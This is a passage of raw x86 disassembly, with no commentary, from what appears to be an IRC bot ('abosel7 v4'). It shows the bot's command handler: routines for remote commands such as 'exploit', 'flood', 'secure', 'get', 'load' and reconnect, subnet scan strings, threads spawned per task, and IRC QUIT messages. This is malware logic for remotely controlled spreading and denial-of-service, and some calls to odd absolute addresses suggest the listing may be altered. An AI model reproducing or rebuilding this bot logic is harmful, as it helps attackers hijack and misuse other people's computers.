		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_43150C
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_4314EC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	near ptr 26A0B14h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4314D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_4314B4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_431494
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_431470
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 2690A97h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_431418
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4D08BC
		call	dword_4D077C
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_4313FC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_4313E0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4313C8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_431390
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_431378
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_431374
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_431354
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_431318
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_431300


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_4312D4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_431284
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_431250
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_431240
		push	offset dword_431230
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_431224
		push	offset dword_431214
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_4311EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset dword_4311B0
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431184
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_431144
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_431110
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset dword_4310D4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_431024
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_431014
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4322CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_430FE8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_430FBC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_4322CC


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4D3FD8, ebx
		jz	short loc_404A4A
		push	offset dword_4D39B8


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_430F80
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_430F40
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4D39B8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4D3FD8, 1
		pop	ecx
		push	esi
		push	offset unk_430F14


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset loc_429150
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_430EDC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_430E9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
